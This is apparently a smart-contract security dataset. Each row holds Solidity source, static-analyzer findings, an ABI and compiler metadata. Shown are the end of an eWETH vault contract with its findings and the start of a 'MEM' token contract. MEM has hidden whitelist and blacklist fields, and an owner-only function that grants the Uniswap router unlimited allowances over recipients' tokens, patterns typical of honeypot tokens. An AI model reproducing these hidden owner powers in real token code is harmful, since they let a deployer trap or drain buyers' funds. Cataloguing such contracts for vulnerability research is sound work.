_burn(msg.sender, _shares);
// Check balance
uint256 b = token.balanceOf(address(this));
if (b < r) {
uint256 _withdraw = r.sub(b);
IController(controller).withdraw(address(token), _withdraw);
uint256 _after = token.balanceOf(address(this));
uint256 _diff = _after.sub(b);
if (_diff < _withdraw) {
r = b.add(_diff);
}
}
IWETH(address(token)).withdraw(r);
payable(msg.sender).transfer(r);
}
function getPricePerFullShare() public view returns (uint256 result) {
if (totalSupply() > 0) {
result = balance().mul(1e18).div(totalSupply());
}
}
receive() external payable {
if (msg.sender != address(token)) {
depositETH();
}
}
} | [{"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["832", "844", "817"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"eWETH.sol": [587]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"eWETH.sol": [712, 713, 710, 711]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"eWETH.sol": [608, 609, 610, 611, 612, 613, 607]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"eWETH.sol": [658, 659, 660]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"eWETH.sol": [761, 762, 763, 764]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"eWETH.sol": [750, 751, 752, 753, 754, 755, 756, 757, 758, 759]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"eWETH.sol": [252, 253, 254, 255]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"eWETH.sol": [96, 97, 98, 95]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"eWETH.sol": [683, 684, 685]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"eWETH.sol": [236, 237, 238]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"eWETH.sol": [768, 769, 766, 767]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"eWETH.sol": [693, 694, 695, 696, 697, 698, 699]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"eWETH.sol": [633, 634, 635]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"eWETH.sol": [402, 403, 404, 405, 406]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"eWETH.sol": [840, 841, 842, 839]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"eWETH.sol": [339, 340, 341]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"eWETH.sol": [931, 932, 933, 934, 935]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"eWETH.sol": [440, 441, 442, 439]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"eWETH.sol": [322, 323, 324]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"eWETH.sol": [368, 365, 366, 367]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"eWETH.sol": [820, 821, 822]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"eWETH.sol": [920, 921, 922, 923]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"eWETH.sol": [420, 421, 422, 423]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"eWETH.sol": [848, 849, 850, 851, 852]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"eWETH.sol": [915, 916, 917, 918]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"eWETH.sol": [314, 315, 316]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"eWETH.sol": [1034, 1035, 1036, 1037, 1038]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"eWETH.sol": [384, 385, 386, 387]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"eWETH.sol": [373, 374, 375]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"eWETH.sol": [1]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"eWETH.sol": [964]}}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High", "lines": {"eWETH.sol": [948]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"eWETH.sol": [697]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"eWETH.sol": [611]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"eWETH.sol": [673]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"eWETH.sol": [912]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"eWETH.sol": [917]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"eWETH.sol": [922]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"eWETH.sol": [903]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"eWETH.sol": [888]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"eWETH.sol": [920]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"eWETH.sol": [915]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"eWETH.sol": [910]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"eWETH.sol": [988]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"eWETH.sol": [1011]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"eWETH.sol": [941]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"eWETH.sol": [1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"eWETH.sol": [96, 97, 98, 99, 90, 91, 92, 93, 94, 95]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"eWETH.sol": [483]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"eWETH.sol": [483]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"eWETH.sol": [953]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"eWETH.sol": [969]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"eWETH.sol": [989]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"eWETH.sol": [1012]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 481, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 502, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 841, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 384, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 910, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 915, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 920, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 286, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 288, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 290, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 292, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 293, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 294, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 804, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 284, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 732, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 883, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 580, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 736, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 740, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 758, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 763, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 768, "severity": 3}, {"rule": "SOLIDITY_VISIBILITY", "line": 607, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 607, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 607, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 608, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 608, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 608, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 608, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 611, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 611, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 611, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1040, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1041, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1041, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1042, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1042, "severity": 1}] | [{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_controller","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"available","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"balance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"controller","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"deposit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"depositAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"depositETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"earn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getPricePerFullShare","outputs":[{"internalType":"uint256","name":"result","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"governance","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"reserve","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"harvest","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"max","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"min","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_controller","type":"address"}],"name":"setController","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_governance","type":"address"}],"name":"setGovernance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_min","type":"uint256"}],"name":"setMin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_shares","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawAllETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_shares","type":"uint256"}],"name":"withdrawETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.6.6+commit.6c089d02 | true | 200 | 000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc200000000000000000000000012f8b559bdf4502a97d9cbf6d35f61f521f1d6dd | Default | MIT | false | ipfs://9092b6e3c693bbcd0ea51e452cbff2c379dd5603140cff614ffc79f3ec8b7ce1 |
||
MEM | 0xb48b6a52734d5daf5154379eee1f0aaad8595ef6 | Solidity | pragma solidity ^0.6.6;
/**
*
*
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract MEM is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
